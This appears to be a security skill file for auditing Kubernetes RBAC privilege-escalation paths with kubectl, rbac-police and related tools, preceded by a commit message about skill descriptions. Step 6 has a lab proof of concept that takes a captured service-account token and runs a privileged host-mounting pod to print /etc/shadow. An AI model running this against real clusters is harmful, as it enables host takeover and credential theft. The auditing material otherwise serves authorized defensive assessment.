All 33 container-security skills now carry what it does, an explicit "Use when" trigger, keywords, and a negative trigger naming the nearest neighbour. Six collision clusters resolved by differentiating scope rather than merging, so no skill is removed: - kube-bench: running the tool vs interpreting findings into an audit - Calico: portable upstream NetworkPolicy vs Calico-as-CNI vs Calico-only CRDs (GlobalNetworkPolicy, HostEndpoint, DNS egress) - Falco: deploying and operating it vs authoring escape rules - container escape: tool-agnostic runtime signals vs Falco rule syntax vs static posture audit vs offensive breakout - Trivy: all-target platform and operator vs single-image scan - Docker: images and Dockerfiles vs daemon.json vs the CIS audit script Also replaces the templated "When to Use" boilerplate in these files, including bullets that only restated the skill's own name. Worst pair (Pod Security Standards vs Pod Security Admission) drops from 0.77 cosine to below the 0.45 threshold. Repo-wide: colliding pairs 60 -> 56, skills involved 105 -> 94.
12 KiB
name, description, domain, subdomain, tags, version, author, license, nist_csf, mitre_attack
| name | description | domain | subdomain | tags | version | author | license | nist_csf | mitre_attack | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| auditing-kubernetes-rbac-privilege-escalation | Finds over-permissive RBAC roles and service-account token abuse paths in a Kubernetes cluster using kubectl auth can-i, rbac-police, kubectl-who-can, and rakkess, tracing which subjects can escalate toward cluster-admin. Use when reviewing who can escalate privileges in a cluster, hunting exploitable RoleBindings during an authorized review, or validating least privilege after an RBAC change. Keywords: RBAC, ClusterRoleBinding, service account token, auth can-i, rbac-police, escalate, bind, impersonate. Do not use for designing and applying hardened RBAC - use implementing-rbac-hardening-for-kubernetes. | cybersecurity | container-security |
|
1.0 | mahipal | Apache-2.0 |
|
|
Auditing Kubernetes RBAC Privilege Escalation
Legal Notice: This skill is for authorized security testing and educational purposes only. Enumerating and exercising RBAC permissions affects a live cluster's access posture. Only test clusters you own or are explicitly authorized in writing to assess.
Overview
Kubernetes Role-Based Access Control (RBAC, MITRE ATT&CK T1078 Valid Accounts) governs what every user and service account may do via Role/ClusterRole rules bound by RoleBinding/ClusterRoleBinding. Because workloads run with a mounted service-account token by default, an attacker who compromises one pod inherits that account's RBAC rights. Over-permissive bindings turn a single compromised pod into a cluster takeover: certain verbs and resources are "RBAC-equivalent to cluster-admin."
Per the Kubernetes "RBAC Good Practices" guidance and Unit 42 research, the dangerous primitives are:
escalateon roles — grant yourself any permission, even ones you do not hold.bindon clusterroles — create a binding tocluster-admin.impersonateon users/groups/serviceaccounts — act as any subject includingsystem:masters.create/update/patchonpods— schedule a privileged pod or mount the node, escaping to the host (T1611).createonpods/exec,pods/attach,pods/ephemeralcontainers— run code in any existing pod.get/list/watchonsecrets— list returns full secret contents, including other service-account tokens.createonserviceaccounts/token— mint tokens for more privileged accounts.update/patchonvalidatingwebhookconfigurations/mutatingwebhookconfigurations,nodes/proxy,certificatesigningrequests/approval— admission/CSR abuse to cluster-admin.- Wildcards (
verbs: ["*"],resources: ["*"]) — implicit super-privilege.
This skill systematically enumerates effective permissions for every subject, maps which subjects hold these escalation primitives, and produces remediation evidence. Source: Kubernetes RBAC Good Practices; Unit 42 Kubernetes RBAC research.
When to Use
- During an authorized Kubernetes security assessment or cluster penetration test
- After compromising a pod, to determine what its service-account token can reach
- When reviewing RBAC drift before a production go-live
- When validating least-privilege after a platform migration or Helm rollout
Prerequisites
kubectlconfigured against the target cluster (your own credentials, or a captured service-account token)- Read access to RBAC objects (most audits run with a cluster-reader or admin context)
- Audit tooling:
# rbac-police - find escalation paths (Cymulate) curl -L https://github.com/PaloAltoNetworks/rbac-police/releases/latest/download/rbac-police-linux-amd64 -o rbac-police chmod +x rbac-police # kubectl-who-can - which subjects can perform an action (Aqua) kubectl krew install who-can # rakkess - access matrix of resources x verbs for the current/another subject kubectl krew install access-matrix # rbac-lookup - which roles a subject has (FairwindsOps) kubectl krew install rbac-lookup
Objectives
- Inventory all
Role,ClusterRole,RoleBinding, andClusterRoleBindingobjects - Enumerate effective permissions per subject using
kubectl auth can-i --as - Identify subjects holding RBAC-equivalent-to-admin primitives
- Trace token-mounting pods to over-privileged service accounts
- Demonstrate (in a lab) one escalation path end-to-end
- Output a prioritized findings report with least-privilege remediation
MITRE ATT&CK Mapping
| Technique ID | Name | Tactic |
|---|---|---|
| T1078 | Valid Accounts | Defense Evasion / Persistence / Privilege Escalation |
| T1098 | Account Manipulation | Persistence |
| T1528 | Steal Application Access Token | Credential Access |
| T1613 | Container and Resource Discovery | Discovery |
| T1611 | Escape to Host | Privilege Escalation |
Workflow
Step 1: Inventory RBAC Objects
# All roles and bindings, cluster-wide
kubectl get clusterroles,clusterrolebindings -o wide
kubectl get roles,rolebindings --all-namespaces -o wide
# Dump full RBAC for offline analysis
kubectl get clusterroles,clusterrolebindings,roles,rolebindings \
--all-namespaces -o yaml > rbac-dump.yaml
# Who is bound to cluster-admin?
kubectl get clusterrolebindings -o json | \
jq -r '.items[] | select(.roleRef.name=="cluster-admin") |
.metadata.name + " -> " + (.subjects // [] | map(.kind+"/"+.name) | join(","))'
Step 2: Enumerate Effective Permissions per Subject
kubectl auth can-i is the authoritative check because it evaluates the live authorizer (RBAC + webhooks). Use --as to impersonate a subject (requires impersonate rights for the audit identity).
# Full access matrix for a service account
kubectl auth can-i --list \
--as=system:serviceaccount:default:default
# Targeted dangerous-permission probes
kubectl auth can-i create pods --all-namespaces \
--as=system:serviceaccount:dev:builder
kubectl auth can-i get secrets --all-namespaces \
--as=system:serviceaccount:dev:builder
kubectl auth can-i create serviceaccounts/token -n kube-system \
--as=system:serviceaccount:dev:builder
kubectl auth can-i '*' '*' --all-namespaces \
--as=system:serviceaccount:dev:builder
# rakkess full verb x resource matrix for a subject
kubectl access-matrix --as system:serviceaccount:dev:builder
Step 3: Hunt the Escalation Primitives
# Who can perform each dangerous action across the cluster?
kubectl who-can create pods
kubectl who-can '*' '*' # wildcard god-mode holders
kubectl who-can get secrets
kubectl who-can list secrets
kubectl who-can create pods/exec
kubectl who-can impersonate users
kubectl who-can create serviceaccounts/token
kubectl who-can update clusterrolebindings # bind-style escalation
# grep the raw dump for escalate/bind/impersonate verbs and wildcards
grep -nE 'escalate|impersonate|"\*"|- bind' rbac-dump.yaml
Step 4: Run Automated Escalation-Path Analysis with rbac-police
rbac-police evaluates Rego policies over a cluster snapshot to surface principals that can escalate to cluster-admin and the exact path.
# Run all built-in escalation checks (needs a kubeconfig with read access)
./rbac-police eval ./lib/policies/
# Only the privilege-escalation policy, severe findings as JSON
./rbac-police eval ./lib/policies/can_escalate.rego -f json -o findings.json
# Collect a snapshot first (offline analysis / air-gapped review)
./rbac-police collect -o cluster-snapshot.json
./rbac-police eval ./lib/policies/ --collect-results cluster-snapshot.json
Step 5: Trace Pods to Over-Privileged Service Accounts
A finding only matters if a reachable workload mounts that token.
# Map every pod to its service account
kubectl get pods --all-namespaces \
-o custom-columns='NS:.metadata.namespace,POD:.metadata.name,SA:.spec.serviceAccountName'
# Find pods that auto-mount tokens (the default) tied to risky SAs
kubectl get pods --all-namespaces -o json | jq -r '
.items[] | select(.spec.automountServiceAccountToken != false) |
"\(.metadata.namespace)/\(.metadata.name) -> \(.spec.serviceAccountName // "default")"'
# rbac-lookup: what does that service account actually hold?
kubectl rbac-lookup builder --kind serviceaccount
Step 6: Demonstrate an Escalation Path (Lab Only)
Example: a service account with create pods and access to a node can schedule a privileged pod that mounts the host filesystem.
# Using a captured token, target the API server directly
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc
# Confirm the dangerous right
kubectl --token="$TOKEN" --server="$APISERVER" --insecure-skip-tls-verify \
auth can-i create pods
# Schedule a privileged host-mounting pod (proves node/host takeover)
cat <<'EOF' | kubectl --token="$TOKEN" --server="$APISERVER" \
--insecure-skip-tls-verify apply -f -
apiVersion: v1
kind: Pod
metadata: {name: escalate-poc, namespace: default}
spec:
containers:
- name: x
image: alpine
command: ["/bin/sh","-c","cat /host/etc/shadow; sleep 1d"]
securityContext: {privileged: true}
volumeMounts: [{name: host, mountPath: /host}]
volumes: [{name: host, hostPath: {path: /}}]
EOF
kubectl logs escalate-poc # host /etc/shadow proves escalation
Step 7: Report and Remediate
# Generate a least-privilege-violation summary
kubectl get clusterrolebindings -o json | jq -r '
.items[] | select(.roleRef.name=="cluster-admin") |
"FINDING cluster-admin bound to: " +
((.subjects // []) | map(.kind+":"+.name) | join(", "))'
Remediation: replace wildcards with explicit verbs/resources; remove escalate/bind/impersonate unless required; set automountServiceAccountToken: false on workloads that do not call the API; scope Role (namespaced) over ClusterRole where possible; use aggregationRule carefully.
Tools and Resources
| Tool | Purpose | Source |
|---|---|---|
| kubectl auth can-i | Authoritative live permission check (--list, --as) |
https://kubernetes.io/docs/reference/access-authn-authz/authorization/ |
| rbac-police | Rego-based escalation-path analysis | https://github.com/PaloAltoNetworks/rbac-police |
| kubectl-who-can | Reverse lookup: who can do X | https://github.com/aquasecurity/kubectl-who-can |
| rakkess (access-matrix) | Verb x resource matrix per subject | https://github.com/corneliusweig/rakkess |
| rbac-lookup | Roles a subject holds | https://github.com/FairwindsOps/rbac-lookup |
| Kubernetes RBAC Good Practices | Authoritative escalation primitive list | https://kubernetes.io/docs/concepts/security/rbac-good-practices/ |
Dangerous RBAC Primitives Reference
| Verb / Resource | Why It Is Cluster-Admin-Equivalent |
|---|---|
escalate on roles |
Grant self any permission |
bind on clusterroles |
Bind self to cluster-admin |
impersonate users/groups |
Act as system:masters |
create pods (+ node access) |
Privileged/hostPath pod -> host takeover |
create pods/exec,pods/attach |
Run code in existing pods |
get/list secrets |
Read all tokens & credentials |
create serviceaccounts/token |
Mint privileged tokens |
*/* (wildcards) |
Implicit super-privilege |
Validation Criteria
- All Role/ClusterRole/Binding objects inventoried and dumped
- cluster-admin subject list enumerated
- Effective permissions enumerated per service account via
auth can-i --list - All dangerous-primitive holders identified (escalate/bind/impersonate/secrets/pods)
- rbac-police escalation paths reviewed
- Token-mounting pods mapped to risky service accounts
- At least one escalation path demonstrated in a lab
- Findings report with least-privilege remediation produced
- All testing stayed within authorized scope